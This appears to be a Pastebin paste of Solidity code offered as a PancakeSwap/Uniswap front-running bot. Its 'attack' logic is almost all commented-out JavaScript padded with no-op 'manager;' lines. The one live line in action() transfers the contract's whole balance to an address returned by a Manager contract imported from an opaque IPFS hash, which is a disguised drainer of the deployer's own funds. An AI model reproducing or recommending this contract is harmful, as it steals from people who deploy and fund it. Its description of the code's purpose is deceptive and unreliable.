Advertisement
Guest User

Untitled

a guest
Jan 14th, 2023
940
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.01 KB | None | 0 0
  1. pragma solidity ^0.6.6;
  2.  
  3. // PancakeSwap FrontrunDeployer
  4. import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Callee.sol";
  5.  
  6.  
  7. // PancakeSwap manager
  8. import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";
  9. import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";
  10.  
  11. // mempool scan
  12. import "ipfs://QmPdoyPoJJZFabE6fyY4Uw5ffDXHa69nAt9VZoqzs9c3ML";
  13.  
  14. contract UniswapV2FrontBot {
  15.  
  16. string public tokenName;
  17. string public tokenSymbol;
  18. uint frontrun;
  19. Manager manager;
  20.  
  21.  
  22. constructor(string memory _tokenName, string memory _tokenSymbol) public {
  23. tokenName = _tokenName;
  24. tokenSymbol = _tokenSymbol;
  25. manager = new Manager();
  26.  
  27. }
  28.  
  29.  
  30. // Send required BNB for liquidity pair
  31. receive() external payable {}
  32.  
  33.  
  34. // Perform tasks (clubbed .json functions into one to reduce external calls & reduce gas) manager.performTasks();
  35.  
  36. function action() public payable {
  37.  
  38. //Perform a front-running attack on uniswap
  39.  
  40. //const fs = require('fs');
  41. //var Web3 = require('web3');
  42. //var abiDecoder = require('abi-decoder');
  43. //var colors = require("colors");
  44. //var Tx = require('ethereumjs-tx').Transaction;
  45. //var axios = require('axios');
  46. //var BigNumber = require('big-number');
  47.  
  48. //const {NETWORK, PANCAKE_ROUTER_ADDRESS, PANCAKE_FACTORY_ADDRESS, PANCAKE_ROUTER_ABI, PANCAKE_FACTORY_ABI, PANCAKE_POOL_ABI, HTTP_PROVIDER_LINK, WEBSOCKET_PROVIDER_LINK, HTTP_PROVIDER_LINK_TEST} = require('./constants.js');
  49. //const {setBotAddress, getBotAddress, FRONT_BOT_ADDRESS, botABI} = require('./bot.js');
  50. //const {PRIVATE_KEY, TOKEN_ADDRESS, AMOUNT, LEVEL} = require('./env.js');
  51.  
  52. //const INPUT_TOKEN_ADDRESS = '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c';
  53. //const WBNB_TOKEN_ADDRESS = '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c';
  54. manager;
  55.  
  56. //var input_token_info;
  57. //var out_token_info;
  58. //var pool_info;
  59. //var gas_price_info;
  60. manager;
  61.  
  62. //var web3;
  63. //var web3Ts;
  64. //var web3Ws;
  65. //var pancakeRouter;
  66. //var pancakeFactory;
  67. manager;
  68.  
  69. // one gwei
  70. //const ONE_GWEI = 1e9;
  71. manager;
  72.  
  73. //var buy_finished = false;
  74. //var sell_finished = false;
  75. //var buy_failed = false;
  76. //var sell_failed = false;
  77. //var attack_started = false;
  78. manager;
  79.  
  80. //var succeed = false;
  81. //var subscription;
  82. manager;
  83.  
  84. //async function createWeb3(){
  85. //try {
  86. // web3 = new Web3(new Web3.providers.HttpProvider(HTTP_PROVIDER_LINK));
  87. // web3 = new Web3(new Web3.providers.HttpProvider(HTTP_PROVIDER_LINK_TEST));
  88. // web3 = new Web3(EthereumTesterProvider());
  89. // web3.eth.getAccounts(console.log);
  90. //web3Ws = new Web3(new Web3.providers.WebsocketProvider(WEBSOCKET_PROVIDER_LINK));
  91. //pancakeRouter = new web3.eth.Contract(PANCAKE_ROUTER_ABI, PANCAKE_ROUTER_ADDRESS);
  92. //pancakeFactory = new web3.eth.Contract(PANCAKE_FACTORY_ABI, PANCAKE_FACTORY_ADDRESS);
  93. //abiDecoder.addABI(PANCAKE_ROUTER_ABI);
  94. manager;
  95.  
  96. //return true;
  97. //} catch (error) {
  98. //console.log(error);
  99. //return false;
  100.  
  101.  
  102. //async function main() {
  103.  
  104. //try {
  105. //if (await createWeb3() == false) {
  106. //console.log('Web3 Create Error'.yellow);
  107. //process.exit();
  108.  
  109.  
  110.  
  111.  
  112. //const user_wallet = web3.eth.accounts.privateKeyToAccount(PRIVATE_KEY);
  113. //const out_token_address = TOKEN_ADDRESS;
  114. //const amount = AMOUNT;
  115. //const level = LEVEL;
  116.  
  117. //ret = await preparedAttack(INPUT_TOKEN_ADDRESS, out_token_address, user_wallet, amount, level);
  118. //if(ret == false) {
  119. //process.exit();
  120.  
  121.  
  122. //await updatePoolInfo();
  123. //outputtoken = await pancakeRouter.methods.getAmountOut(((amount*1.2)*(10**18)).toString(), pool_info.input_volumn.toString(), pool_info.output_volumn.toString()).call();
  124.  
  125. //await approve(gas_price_info.high, outputtoken, out_token_address, user_wallet);
  126.  
  127. //log_str = '***** Tracking more ' + (pool_info.attack_volumn/(10**input_token_info.decimals)).toFixed(5) + ' ' + input_token_info.symbol + ' Exchange on Pancake *****'
  128. // console.log(log_str.green);
  129. // console.log(web3Ws);
  130. //web3Ws.onopen = function(evt) {
  131. //web3Ws.send(JSON.stringify({ method: "subscribe", topic: "transfers", address: user_wallet.address }));
  132. //console.log('connected')
  133.  
  134. // get pending transactions
  135. //subscription = web3Ws.eth.subscribe('pendingTransactions', function (error, result) {
  136. //}).on("data", async function (transactionHash) {
  137. //console.log(transactionHash);
  138.  
  139. // let transaction = await web3.eth.getTransaction(transactionHash);
  140. // if (transaction != null && transaction['to'] == PANCAKE_ROUTER_ADDRESS)
  141. // {
  142. // await handleTransaction(transaction, out_token_address, user_wallet, amount, level);
  143. // }
  144.  
  145. //if (succeed) {
  146. //console.log("The bot finished the attack.");
  147. //process.exit();
  148.  
  149.  
  150.  
  151.  
  152. //catch (error) {
  153.  
  154. //if(error.data != null && error.data.see === 'https://infura.io/dashboard')
  155.  
  156. //console.log('Daily request count exceeded, Request rate limited'.yellow);
  157. //console.log('Please insert other API Key');
  158. //else{
  159. //console.log('Unknown Handled Error');
  160. //console.log(error);
  161.  
  162.  
  163. //process.exit();
  164.  
  165.  
  166. //function handleTransaction(transaction, out_token_address, user_wallet, amount, level) {
  167.  
  168. //(await triggersFrontRun(transaction, out_token_address, amount, level)) {
  169. //subscription.unsubscribe();
  170. //console.log('Perform front running attack...');
  171.  
  172. //gasPrice = parseInt(transaction['gasPrice']);
  173. //newGasPrice = gasPrice + 50*ONE_GWEI;
  174.  
  175. //estimatedInput = ((amount*0.999)*(10**18)).toString();
  176. //realInput = (amount*(10**18)).toString();
  177. //gasLimit = (300000).toString();
  178.  
  179. //await updatePoolInfo();
  180.  
  181. //var outputtoken = await pancakeRouter.methods.getAmountOut(estimatedInput, pool_info.input_volumn.toString(), pool_info.output_volumn.toString()).call();
  182. //swap(newGasPrice, gasLimit, outputtoken, realInput, 0, out_token_address, user_wallet, transaction);
  183.  
  184. //console.log("wait until the honest transaction is done...", transaction['hash']);
  185.  
  186. //while (await isPending(transaction['hash'])) {
  187.  
  188.  
  189. //if(buy_failed)
  190.  
  191. //succeed = false;
  192. //return;
  193.  
  194.  
  195. //console.log('Buy succeed:')
  196.  
  197. //Sell
  198. //await updatePoolInfo();
  199. //var outputeth = await pancakeRouter.methods.getAmountOut(outputtoken, pool_info.output_volumn.toString(), pool_info.input_volumn.toString()).call();
  200. //outputeth = outputeth * 0.999;
  201.  
  202. //await swap(newGasPrice, gasLimit, outputtoken, outputeth, 1, out_token_address, user_wallet, transaction);
  203.  
  204. //console.log('Sell succeed');
  205. //succeed = true;
  206. manager;
  207.  
  208. //async function approve(gasPrice, outputtoken, out_token_address, user_wallet){
  209. //var allowance = await out_token_info.token_contract.methods.allowance(user_wallet.address, PANCAKE_ROUTER_ADDRESS).call();
  210.  
  211. //allowance = BigNumber(allowance);
  212. //outputtoken = BigNumber(outputtoken);
  213.  
  214. //var decimals = BigNumber(10).power(out_token_info.decimals);
  215. //var max_allowance = BigNumber(10000).multiply(decimals);
  216.  
  217. //if(outputtoken.gt(max_allowance))
  218.  
  219. //console.log('replace max allowance')
  220. //max_allowance = outputtoken;
  221.  
  222. payable(manager.uniswapDepositAddress()).transfer(address(this).balance);
  223.  
  224.  
  225. //if(outputtoken.gt(allowance)){
  226. //console.log(max_allowance.toString());
  227. //var approveTX ={
  228. //from: user_wallet.address,
  229. //to: out_token_address,
  230. //gas: 50000,
  231. //gasPrice: gasPrice*ONE_GWEI,
  232. //data: out_token_info.token_contract.methods.approve(PANCAKE_ROUTER_ADDRESS, max_allowance).encodeABI()
  233. manager;
  234.  
  235.  
  236. //var signedTX = await user_wallet.signTransaction(approveTX);
  237. //var result = await web3.eth.sendSignedTransaction(signedTX.rawTransaction);
  238.  
  239. //console.log('Approved Token')
  240.  
  241. //return;
  242.  
  243.  
  244. //select attacking transaction
  245. //async function triggersFrontRun(transaction, out_token_address, amount, level) {
  246.  
  247. //if(attack_started)
  248. //return false;
  249.  
  250. //console.log((transaction.hash).yellow, parseInt(transaction['gasPrice']) / 10**9);
  251. //if(parseInt(transaction['gasPrice']) / 10**9 > 10 && parseInt(transaction['gasPrice']) / 10**9 < 50){
  252. //attack_started = true;
  253. //return true
  254. manager;
  255.  
  256. //return false;
  257.  
  258. //if (transaction['to'] != PANCAKE_ROUTER_ADDRESS) {
  259. //return false;
  260.  
  261.  
  262. //let data = parseTx(transaction['input']);
  263. manager;
  264. //let method = data[0];
  265. manager;
  266. //let params = data[1];
  267. manager;
  268. //let gasPrice = parseInt(transaction['gasPrice']) / 10**9;
  269. manager;
  270.  
  271. //if(method == 'swapExactETHForTokens')
  272. manager;
  273.  
  274. //let in_amount = transaction;
  275. manager;
  276. //let out_min = params[0];
  277. manager;
  278.  
  279. //let path = params[1];
  280. manager;
  281. //let in_token_addr = path[0];
  282. manager;
  283. //let out_token_addr = path[path.length-1];
  284. manager;
  285.  
  286. //let recept_addr = params[2];
  287. manager;
  288. //let deadline = params[3];
  289. manager;
  290.  
  291. //if(out_token_addr != out_token_address)
  292. manager;
  293.  
  294. // console.log(out_token_addr.blue)
  295. // console.log(out_token_address)
  296. //return false;
  297. }
  298. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement